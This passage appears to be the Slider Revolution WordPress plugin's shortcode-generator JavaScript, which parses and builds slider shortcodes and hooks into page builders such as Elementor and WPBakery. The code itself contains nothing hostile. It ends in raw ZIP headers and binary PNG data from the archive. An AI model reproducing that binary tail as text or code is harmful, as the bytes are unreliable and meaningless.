VALUE":T==E?(n="PARSING",s=""):r.attributes[s]+=T;break;case"ESCAPE VALUE":/\\'"/.test(T)?r.attributes[s]+=T:r.attributes[s]+="\\"+T,n="GET QUOTED ATTRIBUTE VALUE"}return s&&!r.attributes[s]&&(r.attributes[s]=""),r
		},

		/*
		RETURN SHORTCODE TO BLOCK OBJECT
		*/
		scToBlock : function(sc) {			
			var parsed = RVS.SC.parseShortCode(sc);
			var atts = parsed===undefined ? {} : parsed.attributes,
				block = newBlock(atts.alias),
				a,i,j,v,m;			
			// MANAGE OFFSETS
			if (atts.offset!==undefined) {				
				a = atts.offset.split(';');					
				for (i in a) {
					v = a[i].split(":");
					if (v[0]!=="" && v[1]!==undefined) {
						m = v[1].split(",");												
						for (j in m) {
							block.offset[RVS.V.sizes[j]][RVS.V.dirN[v[0]]] = m[j];
							block.offset[RVS.V.sizes[j]]["use"] = true;							
						}
					}						
				}
			}
			// POP UP CHECK
			if (atts.usage && atts.usage==="modal") {
				block.usage = "modal";
				block.modal = true;
				if (atts.modal!==undefined) {
					a = atts.modal.split(";");
					for (i in a) {
						v = a[i].split(":");
						switch(v[0]) {
							case "t":block.popup.time.use = true;block.popup.time.v = v[1];break;
							case "s":block.popup.scroll.use = true;  block.popup.scroll.type="container"; block.popup.scroll.container = v[1]; break;
							case "so":block.popup.scroll.use = true;  block.popup.scroll.type="offset"; block.popup.scroll.v = v[1]; break;
							case "e":block.popup.event.use = true; block.popup.event.v = v[1]; break;
							case "ha":block.popup.hash.use = true; break;
							case "co":block.popup.cookie.use = true; block.popup.cookie.v = v[1]; break;
						}
					} 
				}
			}
			// MANAGE ZINDEX && LAYOUT
			if (atts.zindex!==undefined) block.zindex = atts.zindex;
			if (atts.layout!==undefined) block.layout = atts.layout;
			if (atts.slidertitle!==undefined) block.slidertitle = atts.slidertitle;
			else if (atts.sliderTitle!==undefined) block.slidertitle = atts.sliderTitle;
			else if (atts.title!==undefined) block.slidertitle = atts.title;
			return block;
		},
		
		

		updateBlockViews : function(show) {			
		
			if (show===true) jQuery('.rs_optimizer_button_wrapper').closest('.components-panel').addClass("rs_component_panel"); else jQuery('.rs_component_panel').removeClass("rs_component_panel");
		},

		buildShortCode : function() {
			RVS.SC.BLOCK.content = '[rev_slider alias="' + RVS.SC.BLOCK.alias + '"';
			RVS.SC.BLOCK.content += ' slidertitle="'+RVS.SC.BLOCK.slidertitle+'"';
			if (RVS.ENV.activated!==false) updateInherits(true);
			var popup = '', usage ='';
			if (RVS.SC.BLOCK.modal===true) {
				usage = 'modal';
				RVS.SC.BLOCK.content += ' usage="'+usage+'"';				
				if (RVS.SC.BLOCK.popup!==undefined && RVS.ENV.activated!==false) {						
					if (RVS.SC.BLOCK.popup.time!==undefined && RVS.SC.BLOCK.popup.time.use) popup += 't:'+RVS.SC.BLOCK.popup.time.v+";";
					if (RVS.SC.BLOCK.popup.scroll!==undefined && RVS.SC.BLOCK.popup.scroll.use) if(RVS.SC.BLOCK.popup.scroll.type==="offset")  popup += 'so:'+RVS.SC.BLOCK.popup.scroll.v+";"; else popup += 's:'+RVS.SC.BLOCK.popup.scroll.container+";";					
					if (RVS.SC.BLOCK.popup.event!==undefined && RVS.SC.BLOCK.popup.event.use) popup += 'e:'+RVS.SC.BLOCK.popup.event.v+";";
					if (RVS.SC.BLOCK.popup.hash!==undefined && RVS.SC.BLOCK.popup.hash.use) popup += 'ha:t;';
					if (RVS.SC.BLOCK.popup.cookie!==undefined && RVS.SC.BLOCK.popup.cookie.use) popup += 'co:'+RVS.SC.BLOCK.popup.cookie.v+';';
					if (popup!=='') RVS.SC.BLOCK.content +=' modal="'+popup+'"';
				}
			} else {
				if (RVS.ENV.activated!==false) {
					if (RVS.SC.BLOCK.offsettext!==undefined && RVS.SC.BLOCK.offsettext.length>0) RVS.SC.BLOCK.content +=' offset="'+RVS.SC.BLOCK.offsettext+'"'; else RVS.SC.BLOCK.offsettext="";
					if (RVS.SC.BLOCK.zindex!==undefined && RVS.SC.BLOCK.zindex!=="" && RVS.SC.BLOCK.zindex!==0) RVS.SC.BLOCK.content += ' zindex="'+RVS.SC.BLOCK.zindex+'"';
				}
			}
			if (RVS.ENV.activated!==false && RVS.SC.BLOCK.layout !== RVS.SC.BLOCK.origlayout) RVS.SC.BLOCK.content += ' layout="'+RVS.SC.BLOCK.layout+'"';
						
			RVS.SC.BLOCK.content += '][/rev_slider]';
			delete RVS.SC.BLOCK.text;			
			return {popup:popup, usage:usage};
		},

		updateShortCode : function() {
			if (RVS!==undefined && RVS.SC!==undefined && RVS.SC.suppress) return;					
			var SC = RVS.SC.buildShortCode();			
			switch(RVS.SC.type) {					
				case 'wpbackery':														
					var temp = jQuery.extend(true,{},RVS.SC.BLOCK);					
					if (SC.usage==="modal") { 
						temp.usage = SC.usage;  temp.modal = SC.popup;delete temp.offset;delete temp.zimdex;
					} else {
						if (temp.offsettext!=="") temp.offset = RVS.SC.BLOCK.offsettext; else delete temp.offset;
						delete temp.usage; delete temp.modal;
					}

					if (temp.layout===temp.origlayout) delete temp.layout;					
					delete temp.offsettext; delete temp.origlayout;	delete temp.content; delete temp.popup;					
					RVS.SC.VC.model.save('params', temp);				
				break;
				
				case 'tinymce':				
					tinyMCE.activeEditor.selection.setContent(RVS.SC.BLOCK.content);				
				break;
				
				case 'elementor':				
					RVS.SC.suppress = true;				
					RVS.SC.EL.model.setSetting('revslidertitle',  RVS.SC.BLOCK.slidertitle);
					RVS.SC.EL.model.setSetting('shortcode', RVS.SC.BLOCK.content);					
					RVS.SC.EL.control.find('input[data-setting="shortcode"]').trigger('input');
					setTimeout(function() {RVS.SC.suppress = false;}, 500);									
				break;				
				case 'qtags':				
					QTags.insertContent(RVS.SC.BLOCK.content);				
				break;
				case 'gutenberg':					
					var obj = {slidertitle: RVS.SC.BLOCK.slidertitle, alias: RVS.SC.BLOCK.alias, modal: RVS.SC.BLOCK.modal ,  content: RVS.SC.BLOCK.content , zindex: RVS.SC.BLOCK.zindex , wrapperid: RVS.SC.BLOCK.wrapperid};					
					revslider_react.setState(obj);						
					revslider_react.props.setAttributes(obj);
					revslider_react.forceUpdate();
				break;
				case 'divi':
					revslider_divi.props._onChange(revslider_divi.props.name, RVS.SC.BLOCK.content);
					revslider_divi.setState(RVS.SC.BLOCK);
				break;
				default:break;
			}
		},
				
		openTemplateLibrary: function(type) {		
			// 5.0 to 6.0 update patch
			if(typeof RVS.LIB.OBJ === 'undefined') return;
			if (type==="tinymce") {
				RVS.SC.BLOCK = {};
			}						
			RVS.SC.type = type;
			if(!RVS.SC.libraryInited) {				
				RVS.SC.libraryInited = true;
				RVS.F.initObjectLibrary(true); 
				var oas = document.getElementById('obj_addsliderasmodal');
				if (oas!==null) {
					oas.style.display = 'inline-block';
					RVS.F.initOnOff(oas);	
				}
				
				
				
				jQuery(document.body).on('change', '#sel_olibrary_sorting', function() {										
					jQuery('#reset_objsorting').css((this.value === 'datedesc' ? {display: 'none'} : {display: 'inline-block', opacity: '1', visibility: 'visible'} ));
					if(this.dataset.evt!==undefined) RVS.DOC.trigger(this.dataset.evt, this.dataset.evtparam);					
				}).on('change', '#ol_pagination', function(e) {					
					if(this.dataset.evt!==undefined) RVS.DOC.trigger(this.dataset.evt,[e, this.value, this.dataset.evtparam]);				
				});			
			}
			
			var successObj = {modules: 'addRevSliderShortcode', event: 'selectRevSliderItem'};						
			jQuery('#obj_addsliderasmodal .tponoffwrap').addClass('off').find('input').prop('checked', false);
			RVS.F.openObjectLibrary({types: ['modules'], filter: 'all', selected: ['modules'], success: successObj});
			
			var folder = RVS.F.getCookie('rs6_wizard_folder');
			if(folder && folder !== -1 && folder !== '-1' && ((RVS.LIB.OBJ !==undefined && RVS.LIB.OBJ.items!==undefined && RVS.LIB.OBJ.items.modules!==undefined))) RVS.F.changeOLIBToFolder(folder);		
			
		},
		
		openBlockSettings : function(type,sc){			
			if (RVS===undefined || RVS.SC===undefined) return;
			if (RVS.ENV.activated!==true) RVS.F.showRegisterSliderInfo();
			if (sc===undefined && RVS.SC.BLOCK===undefined) return;			
			RVS.SC.BLOCK = sc!==undefined ?  RVS.SC.scToBlock(sc) : RVS.SC.BLOCK===undefined || RVS.SC.BLOCK.text===undefined ? RVS.SC.scToBlock(RVS.SC.BLOCK.content) : RVS.SC.scToBlock(RVS.SC.BLOCK.text);

			if (RVS!==undefined && RVS.SC!==undefined && RVS.SC.BLOCK!==undefined && RVS.SC.BLOCK.alias.length>0) {	
				RVS.SC.type = type;
				//Ajax Call to get the original Layout				
			      RVS.F.ajaxRequest('getSliderSizeLayout', { alias : RVS.SC.BLOCK.alias }, function(response) {    
			      	
			          if(response.success) {  
			          	if (response!==undefined && response.layout!==undefined) {
			          		response.layout = response.layout===undefined || response.layout==="" ? "auto" : response.layout;
			          		 RVS.SC.BLOCK.origlayout = response.layout;
			          		 RVS.SC.BLOCK.slidertitle = response.slidertitle!==undefined ? response.slidertitle : response.sliderTitle!==undefined ? response.sliderTitle : response.title!==undefined ? response.title : RVS.SC.BLOCK.slidertitle;			  
			                if(typeof RVS.SC.BLOCK.layout === "undefined" || RVS.SC.BLOCK.layout==="") RVS.SC.BLOCK.layout = RVS.SC.BLOCK.origlayout;
			          	}          				          			             
			            RVS.F.showWaitAMinute({fadeOut:0,text:RVS_LANG.loadingcontent});
			            RVS.C.RBBS = jQuery('#rbm_blocksettings');				
						RVS.F.initOnOff(RVS.C.RBBS);
						RVS.F.RSDialog.create({modalid:'#rbm_blocksettings', bgopacity:0.5});
						RVS.C.RBBS.RSScroll({wheelPropagation:false, suppressScrollX:true});
						RVS.F.RSDialog.center();			
						RVS.C.RBBS.find('.origlayout').hide();
						RVS.C.RBBS.find('.origlayout.origlayout_'+RVS.SC.BLOCK.origlayout).show();		
						
						if (RVS.SC.type==="wpbackery") {			
							setTimeout(RVS.F.RSDialog.center,19);
							setTimeout(RVS.F.RSDialog.center,50);
						}
						blockSettingsUpdate();
			          }
			      });										
		    } 		
		},

		openSliderEditor : function(alias) { if (alias!==undefined && alias.length>0) window.open(RVS.ENV.admin_url+"&view=slide&alias="+alias);},
		openOptimizer : function(alias){ if (alias!==undefined && alias.length>0) RVS.F.openOptimizer({alias:alias});}						
	};

	
	// INITIALISE PROCESSES
	var RVSSCINIT_once = false
	if (document.readyState === "loading") 
		document.addEventListener('readystatechange',function(){
			if ((document.readyState === "interactive" || document.readyState === "complete") && !RVSSCINIT_once) {
				RVSSCINIT_once = true;
				RVS.SC.init();
			}
		});
	else {
		RVSSCINIT_once = true;
		RVS.SC.init();
	}
		
	function updateInherits(novisual) {
		if (RVS==undefined || RVS.SC.BLOCK==undefined || RVS.SC.BLOCK.offset===undefined) return;
		var inh = {top:0, bottom:0, left:0, right:0},val,s,d,txt='',com,nxt;
		for (var j in RVS.V.dirs) {
			d = RVS.V.dirs[j];			
			com = false;					
			txt += RVS.V.dirs[j][0]+":";
			for (var i in RVS.V.sizes) {				
				s = RVS.V.sizes[i];	
				nxt = (s=="d" && (RVS.SC.BLOCK.offset.d.use || RVS.SC.BLOCK.offset.n.use || RVS.SC.BLOCK.offset.t.use || RVS.SC.BLOCK.offset.n.use)) || (s=="n" && (RVS.SC.BLOCK.offset.n.use || RVS.SC.BLOCK.offset.t.use || RVS.SC.BLOCK.offset.n.use)) || (s=="t" && (RVS.SC.BLOCK.offset.t.use || RVS.SC.BLOCK.offset.m.use)) || (s=="m" &&  RVS.SC.BLOCK.offset.m.use);
				if (com && nxt) txt +=',';
				com = true;
				if (novisual!==true) {
					var inp = jQuery("#rbm_blocksettings .scblockinput[data-r='offset."+s+"."+d+"']");
					if (inp[0]===undefined) continue;				
					inp[0].dataset.s = s;
				}
				if (RVS.SC.BLOCK.offset[s].use) {
					inh[d] = val = RVS.SC.BLOCK.offset[s][d];
					if (novisual!==true) inp[0].style.opacity = 1;
				} else {
					val = inh[d];
					if (novisual!==true) inp[0].style.opacity = 0.5;
				}								
				if (novisual!==true) inp[0].value = val;
				if (nxt) txt +=val; else com = false;
			}
			txt +=';'
		}		
		if (txt==="t:;b:;l:;r:;") txt="";
		RVS.SC.BLOCK.offsettext = txt;		
	}

	function newBlock(alias) {		
		alias = alias===undefined ? "" : alias;
		return new Object({
			alias:alias,
			zindex:0,
			popup: { time : {use:false, v:2000}, 
					 scroll : {use:false, type:"offset", v:2000,container:""},
					 event : {use:false, v:"popup_"+alias},
					 hash : {use:false},
					 cookie:{use:false,v:24}
					},
			offset: { d : {top:"0px", bottom:"0px", left:"0px", right:"0px" ,use:false}, 
					  n : {top:"0px", bottom:"0px", left:"0px", right:"0px",use:false}, 
					  t : {top:"0px", bottom:"0px", left:"0px", right:"0px",use:false}, 
					  m : {top:"0px", bottom:"0px", left:"0px", right:"0px",use:false}},
			modal: false
		})
	}

	function blockSettingsUpdate() {			
		RVS.F.updateEasyInputs({path:'SC.BLOCK.', container:'#rbm_blocksettings', root:RVS});
		RVS.F.updateAllOnOff();
		updateInherits();
		jQuery('.scblockinput').trigger('init');
		if (RVS.SC.BLOCK.popup!==undefined) {
			document.getElementById('srbs_scr_evt').innerHTML = RVS.SC.BLOCK.popup.event.v;
			document.getElementById('srbs_scr_hash').innerHTML = RVS.SC.BLOCK.alias;
			if (RVS.ENV.activated!==false) jQuery('.rb_not_on_notactive').removeClass("disabled"); else jQuery('.rb_not_on_notactive').addClass("disabled");
		}
	}

	function blockSettingsReset() {
		if (RVS.SC.BLOCK!==undefined) {
			RVS.SC.BLOCK.zindex = 0;
			RVS.SC.BLOCK.popup = { time : {use:false, v:2000}, scroll : {use:false, type:"offset", v:2000,container:""},event : {use:false, v:"popup_"+RVS.SC.BLOCK.alias}};
			RVS.SC.BLOCK.offset = { d : {top:"0px", bottom:"0px", left:"0px", right:"0px" ,use:false}, n : {top:"0px", bottom:"0px", left:"0px", right:"0px",use:false}, t : {top:"0px", bottom:"0px", left:"0px", right:"0px",use:false}, m : {top:"0px", bottom:"0px", left:"0px", right:"0px",use:false}};
			RVS.SC.BLOCK.modal = false;
		}
	}

/*
ELEMENTOR HOOKS
 */
	function elementorHooks() {

		if (typeof elementor!=="undefined"  && elementor.hooks!==undefined) {			
		
			elementor.hooks.addAction( 'panel/open_editor/widget/slider_revolution', function( panel, model, view ) {
				RVS.SC.type = "elementor";
				RVS.SC.EL = RVS.SC.EL===undefined ? {} : RVS.SC.EL;
				RVS.SC.EL.control = panel.$el.find('#elementor-controls');
				RVS.SC.EL.view = view;
				RVS.SC.EL.model = model;

				// CHECK ALIAS FOR FROM VERSION 6.1.6 +
				if (view!==undefined && view.container!==undefined && view.container.settings!==undefined && view.container.settings.attributes!==undefined) {
					
					if (view.container.settings.attributes.shortcode!==undefined) {
						RVS.SC.BLOCK = RVS.SC.scToBlock(view.container.settings.attributes.shortcode);
						// FALLBACK
						if (view.container.settings.attributes.revslidertitle!==undefined) RVS.SC.BLOCK.slidertitle = view.container.settings.attributes.revslidertitle;
						if (view.container.settings.attributes.modal!==undefined) RVS.SC.BLOCK.modal = view.container.settings.attributes.modal;

					} 
				}
				//STYLING ELEMNTOR TO LOOK MORE SLIDER REVOLUTION LIKE
				jQuery('.elementor-component-tab.elementor-panel-navigation-tab.elementor-tab-control-advanced').hide();
				RVS.SC.EL.control.addClass("rs-elementor-component-tab");				
			});

			// BASIC LISTENER
			window.elementorSelectRevSlider = function(e) {	if (e) RVS.SC.openTemplateLibrary('elementor'); else jQuery('button[data-event="themepunch.selectslider"]').trigger('click');}
			/*
			 FURTHER LISTNERS
			*/
			RVS.DOC.on('click', 'button[data-event="themepunch.selectslider"]', function() {RVS.SC.openTemplateLibrary('elementor');});
			RVS.DOC.on('click', 'button[data-event="themepunch.settingsslider"]',  function() {RVS.SC.openBlockSettings('elementor',(RVS.SC.EL.view!==undefined && RVS.SC.EL.view.container!==undefined && RVS.SC.EL.view.container.settings!==undefined && RVS.SC.EL.view.container.settings.attributes!==undefined && RVS.SC.EL.view.container.settings.attributes.shortcode!==undefined ? RVS.SC.EL.view.container.settings.attributes.shortcode : {}));});
			RVS.DOC.on('click', 'button[data-event="themepunch.editslider"]', function() {RVS.SC.openSliderEditor(RVS.SC.BLOCK.alias)});
			RVS.DOC.on('click', 'button[data-event="themepunch.optimizeslider"]', function() {RVS.SC.openOptimizer(RVS.SC.BLOCK.alias)});
		}		
	}

/*
VISUAL COMPOSER HOOKS
*/ 	 	
 	function vcHooks() {
 		function convertVCParamsToSC(params) { 		
	 		var temp = jQuery.extend(true,{},params),
	 			sc = '[rev_slider alias="' + temp.alias + '"';
	 		
	 		if (temp.slidertitle!==undefined) sc+= ' slidertitle="'+temp.slidertitle+'"'; else
	 		if (temp.sliderTitle!==undefined) sc+= ' slidertitle="'+temp.sliderTitle+'"'; else
	 		if (temp.title!==undefined) sc+= ' slidertitle="'+temp.title+'"'; 
			
			if (temp.modal!==undefined) sc+= ' modal="'+temp.modal+'"';
			if (temp.usage!==undefined) sc+= ' usage="'+temp.usage+'"';
			if (temp.offset!==undefined) sc+= ' offset="'+temp.offset+'"';
			if (temp.zindex!==undefined) sc+= ' zindex="'+temp.zindex+'"';
			if (temp.layout!==undefined) sc+= ' layout="'+temp.layout+'"';						
			sc += '][/rev_slider]';		
			return sc;
	 	}

	 	/*
		OPEN TEMPLATE LIBRARY FOR VC
		 */
		function VCopenTemplateLibrary(params) {		
			jQuery('.wpb-element-edit-modal').hide(); //hide the normal VC window and use own (old vc version)
			jQuery('#vc_properties-panel').hide(); //hide the normal VC window and use own (new vc version)		
			RVS.SC.BLOCK = RVS.SC.scToBlock(convertVCParamsToSC(params));
			RVS.SC.openTemplateLibrary('wpbackery');	
		}

		if (typeof vc==="undefined" || vc==undefined) return;
		window.VcSliderRevolution = vc.shortcode_view.extend({
			events: {
				'click > .vc_controls .vc_control_rev_optimizer': 'rs_optim',
				'click > .vc_controls .vc_control_rev_selector': 'rs_select',
				'click > .vc_controls .vc_control_rev_settings': 'rs_settings',
				'click .column_delete,.vc_control-btn-delete': 'deleteShortcode',
				'click .vc_control-btn-edit': 'editElement',
				'click .column_clone,.vc_control-btn-clone': 'clone',
				mousemove: "checkControlsPosition"
			},
			initialize: function() {return window.VcSliderRevolution.__super__.initialize.call(this);},
			render: function () { RVS.SC.VC = this;	if(vc.add_element_block_view.$el.is(':visible')) VCopenTemplateLibrary(this.model.get('params'));return window.VcSliderRevolution.__super__.render.call(this);},
			editElement: function() { RVS.SC.openSliderEditor(this.model.get('params').alias);},
			rs_select : function() { RVS.SC.VC = this;VCopenTemplateLibrary(this.model.get('params'));},
			rs_optim : function() { RVS.SC.openOptimizer(this.model.get('params').alias);},
			rs_settings : function() { RVS.SC.VC = this; RVS.SC.openBlockSettings('wpbackery',convertVCParamsToSC(this.model.get('params')));}
		});

		if(typeof(window.InlineShortcodeView) !== 'undefined') {			
			var rs_show_frontend_overlay = false;
			jQuery(window).on('vc_build', function() {				
				vc.add_element_block_view.$el.find('[data-element="rev_slider"]').on('click',function() {
					rs_show_frontend_overlay = true;
				});				
			});		
			window.InlineShortcodeView_rev_slider = window.InlineShortcodeView.extend({	
				events: {
					'click > .vc_controls .vc_control_rev_optimizer': 'rs_optim',
					'click > .vc_controls .vc_control_rev_selector': 'rs_select',
					'click > .vc_controls .vc_control_rev_settings': 'rs_settings',
					'click .column_delete,.vc_control-btn-delete': 'destroy',
					'click .vc_control-btn-edit': 'edit',					
					mousemove: "checkControlsPosition"
				},					
				render: function() {																
					RVS.SC.VC = this;					
					if(rs_show_frontend_overlay) VCopenTemplateLibrary(this.model.get('params'))
					window.InlineShortcodeView_rev_slider.__super__.render.call(this);					
					var mv = this.$controls.find('.vc_element-move');					
					if (this.$controls[0].getElementsByClassName('vc_control_rev_optimizer').length===0) jQuery('<a class="vc_control-btn vc_control_rev_optimizer" href="#" title="File Size Optimizer"><span class="vc_btn-content"><i class="revslider_vc_material-icons material-icons">flash_on</i></span></a>').insertAfter(mv);
					if (this.$controls[0].getElementsByClassName('vc_control_rev_settings').length===0) jQuery('<a class="vc_control-btn vc_control_rev_settings" href="#" title="Module Settings"><span class="vc_btn-content"><i class="revslider_vc_material-icons material-icons">tune</i></span></a>').insertAfter(mv);
					if (this.$controls[0].getElementsByClassName('vc_control_rev_selector').length===0) jQuery('<a class="vc_control-btn vc_control_rev_selector" href="#" title="Select New Slider Revolution 6 Module"><span class="vc_btn-content"><i class="revslider_vc_material-icons material-icons">cached</i></span></a>').insertAfter(mv);				
					if (this.$controls[0].getElementsByClassName('vc_control_rev_edit').length===0) mv.find('.vc_control-btn.vc_control-btn-edit').addClass('vc_control_rev_edit');
					this.$controls.find('.vc_control-btn-clone').hide();
					return this;					
				},
				rs_settings : function() { RVS.SC.VC = this; RVS.SC.openBlockSettings('wpbackery',convertVCParamsToSC(this.model.get('params'))); return false;},
				rs_optim : function() {	RVS.SC.openOptimizer(this.model.get('params').alias);return false;},				
				update: function(model) {	rs_show_frontend_overlay = false;window.InlineShortcodeView_rev_slider.__super__.update.call(this, model);return this;},
				edit: function() {	RVS.SC.openSliderEditor(this.model.get('params').alias);return false;},
				rs_select : function() { RVS.SC.VC = this;	VCopenTemplateLibrary(this.model.get('params'));return false; },			
			});		
		};

		/*
		LISTENERS
		*/
		RVS.DOC.on('mouseenter','.wpb_rev_slider.wpb_content_element.wpb_sortable',function() {
			//CHECK TOOLBAR OF VC
			var controls = jQuery(this.getElementsByClassName('vc_controls-cc')[0]);
			if (controls!==undefined) {
				var mv = controls.find('.vc_element-move');
				if (this.getElementsByClassName('vc_control_rev_optimizer').length===0) jQuery('<a class="vc_control-btn vc_control_rev_optimizer" href="#" title="File Size Optimizer"><span class="vc_btn-content"><i class="revslider_vc_material-icons material-icons">flash_on</i></span></a>').insertAfter(mv);
				if (this.getElementsByClassName('vc_control_rev_settings').length===0) jQuery('<a class="vc_control-btn vc_control_rev_settings" href="#" title="Module Settings"><span class="vc_btn-content"><i class="revslider_vc_material-icons material-icons">tune</i></span></a>').insertAfter(mv);
				if (this.getElementsByClassName('vc_control_rev_selector').length===0) jQuery('<a class="vc_control-btn vc_control_rev_selector" href="#" title="Select New Slider Revolution 6 Module"><span class="vc_btn-content"><i class="revslider_vc_material-icons material-icons">cached</i></span></a>').insertAfter(mv);				
				if (this.getElementsByClassName('vc_control_rev_edit').length===0) mv.find('.vc_control-btn.vc_control-btn-edit').addClass('vc_control_rev_edit');				
			}
		});				
	}
	
	function shortCodeListener() {		
		if (RVS.S.shortCodeListener!==undefined) return;		
		RVS.S.shortCodeListener = true;

		// COOKIE HANDLING
		jQuery(document.body).on('click', '#objectlibrary *[data-folderid]', function() {RVS.F.setCookie("rs6_wizard_folder",this.dataset.folderid,360);});

		// 
		var _str = document.getElementById('slide_template_row') ;
		if (_str!==null) {		
			_str.style.display = 'inline-block';
			RVS.F.initOnOff(_str);
		}

		RVS.DOC.on('click','.rs_lib_premium_red',RVS.F.showRegisterSliderInfo);
		
		RVS.DOC.on('registrationdone',function() {
			if (RVS.ENV.activated===false) {
				jQuery('.rs_wp_plg_act_wrapper').show(); 
				jQuery('.rb_not_on_notactive').addClass("disabled");
			} else {
				jQuery('.rs_wp_plg_act_wrapper').hide();
				jQuery('.rb_not_on_notactive').removeClass("disabled");
			}			
		});
		
		if (RVS.ENV.activated===false) {
			jQuery('.rs_wp_plg_act_wrapper').show();
			RVS.DOC.on('click','.rs_wp_plg_act_wrapper',RVS.F.showRegisterSliderInfo);			
		} else {
			jQuery('.rs_wp_plg_act_wrapper').hide();
		}

		/**********************************
			-	PAGE BACKGROUND	COLOR   -
		**********************************/
		// Color Picker
		jQuery('#rs_page_bg_color').rsColorPicker({
			init: function(inputWrap, inputElement, cssColor, widgetSettings) {								
				var ghost = jQuery('<input type="text" class="layerinput" value="' + inputElement.val() + '">').appendTo(inputWrap);								
				inputElement.data('ghost', ghost).hide();				
			},
			change:function(currentInput, cssColor, gradient, globalColors, globalColorActive) {				
				currentInput.data('ghost').val(cssColor);
				currentInput.val(cssColor);
			}
		});			

		// Page Template , Color Picker, checkbox check only when RevSlider Blank Template
		jQuery(document.body).on('change', '.editor-page-attributes__template select', function() {
			if(jQuery(this).val() === "../public/views/revslider-page-template.php"){
				jQuery('#rs_page_bg_color_column').show(); 
				jQuery('#rs_blank_template').prop('checked', true);
			}
			else {
				jQuery('#rs_page_bg_color_column').hide();									
				jQuery('#rs_blank_template').prop('checked', false);
			}
		});
		
		// Page Template , checkbox check sync Page Template Selectbox
		jQuery(document.body).on('change', '#rs_blank_template', function() {
			if(jQuery(this).prop('checked')){
				jQuery('.editor-page-attributes__template select').val("../public/views/revslider-page-template.php").change(); 
				jQuery('#rs_page_bg_color_column').show(); 
			}
			else {
				jQuery('.editor-page-attributes__template select').val("").change();
				jQuery('#rs_page_bg_color_column').hide();
			}
		});

							
		/*
		DEFAULT LISTENERS
		 */
		RVS.DOC.on('click','.block-editor-editor-skeleton__content, .interface-interface-skeleton__content', function() {RVS.SC.updateBlockViews(true);});		
		RVS.DOC.on('addRevSliderShortcode', function(e, data) {				
			if(data!==undefined && data.alias !== '-1'){
				data.size = data.size==="" || data.size===undefined ? "auto" : data.size;				
				var block = newBlock(data.alias);				
				RVS.SC.BLOCK = jQuery.extend(true,block,RVS.SC.BLOCK);
				RVS.SC.BLOCK.alias = data.alias;				
				RVS.SC.BLOCK.slidertitle = data.slidertitle!==undefined ? data.slidertitle : data.title!==undefined ? data.title : data.alias;				
				RVS.SC.BLOCK.layout = RVS.SC.BLOCK.origlayout = data.size;				 
				RVS.SC.updateShortCode();
			}		
		});

		RVS.DOC.on('selectRevSliderItem', function() {		
			var folder = RVS.F.getCookie('rs6_wizard_folder');		
			if(folder && folder !== -1 && folder !== '-1') RVS.F.changeOLIBToFolder(folder);			
		});

		
		// CLOSE EDITOR
		RVS.DOC.on('click','#rbm_blocksettings .rbm_close' , function() {
			RVS.SC.updateShortCode();											
			RVS.F.RSDialog.close();
		});
				
		RVS.DOC.on('focus','.scblockinput',function() {						
			this.dataset.focusvalue = this.value;
			this.style.opacity = 1;
		});

		RVS.DOC.on('change blur','.scblockinput',function() {			
			if (this.dataset.s!==undefined && this.dataset.focusvalue!==this.value)	RVS.SC.BLOCK.offset[this.dataset.s].use = true;
			blockSettingsUpdate();
		});

		RVS.DOC.on('updateSRBSSVREVT',function(e,v){
			if(v!==undefined) {
				if (v.val==="") RVS.SC.BLOCK.popup.event.v = "popup_"+RVS.SC.BLOCK.alias;
				document.getElementById('srbs_scr_evt').innerHTML = v.val;
			}
		});
	}

	
})();PK�y3\#assets/js/shortcode_generator/vc.jsnu�[���PK�y3\�]-�-�assets/images/UI-ICONS.pngnu�[����PNG


IHDRHj�htEXtSoftwareAdobe ImageReadyq�e<siTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:49651e58-d339-48cf-a00c-3fa2bf64f223" xmpMM:DocumentID="xmp.did:2270386C1F5911E9A9B291FEAEDEB106" xmpMM:InstanceID="xmp.iid:2270386B1F5911E9A9B291FEAEDEB106" xmp:CreatorTool="Adobe Photoshop CC (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:cfa53d0a-7e7e-445a-914e-573b6abcdca3" stRef:documentID="xmp.did:49651e58-d339-48cf-a00c-3fa2bf64f223"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>��/�PIDATx���$�Y��5jIӀ�l$�H�F�V�%��B��#i��HP�ΌG�����ݭA��\����[���Y��
�^�Fhyh�,=�酆�e5B�:YF�BLJ�G�u�e}Q��������ygWfdd|����ܗvvv@�q
�@0��` � �@0��` "�q
�ggg��GGG���?�KKK���:ۏl��Gq�
�^���6H�v4�^������\�1uٲ/�4�t��S�Ì۷��2�C^{������loL��&]�؛r�Nl��s#6'�_M��^�ި	��1�3�v�_ہ�;7��&���޺>�f����Lj����0#Z�N#�/��i+����ߨ���{5���6�x���d��t��lx�K���
r]�dz�4��� �\H�~C�C�{�k�ڌ�^�����9�n��з������n��~M�i�~{ڎ����6)���8�r˱Y��n�kkoB�vݱ{ݖ^C썮�I���P�-ԯh��g�?zٗ��W�����e�KH��ءS�#-Fo���R�C�v/�]��VMl��4�#
c��`���zSox���z���8���|�s&�gC���j��u=O�ګ�r����q6�����^���m�n}1U���c���1�4{kU�E�
��?�Sϣ�۫��:@�38�{P����Xs*PzZ��Qz���3��l���.;�UQc�ׁ>e�-Ֆmo�Z۫=�k�M)v�J����L��^��U-�	ۺ�`U��kwd��n8��r�=�����!߻��	�zmԞ��E�{k!ׯ:DQ���>��ܧ~;�w�Mw¾�`�ߦm4�^�i]J�{>u��+b���庵Wy�U���pQ}����AY�/�a6�m;b��PۻPƊ/&��v����s|}�3f���z��u�9�16��^�J���y߱�s��x��@��v�P퍹g���~�&��u���o'�}�v���97�m@����1)"�i��Bi����-ү���������ש��[�����Y1>W����0�CٻH�8w�(n������ՙ�.�A�s�${N���q����8F��h�(�~]�	vG�o����K�r�86L5���<D:��l�Ƀ�K�k��4m@��uz�峞��ilj�FBi��S���W��^�{��(�����q���fQb{�{&j/#sB�
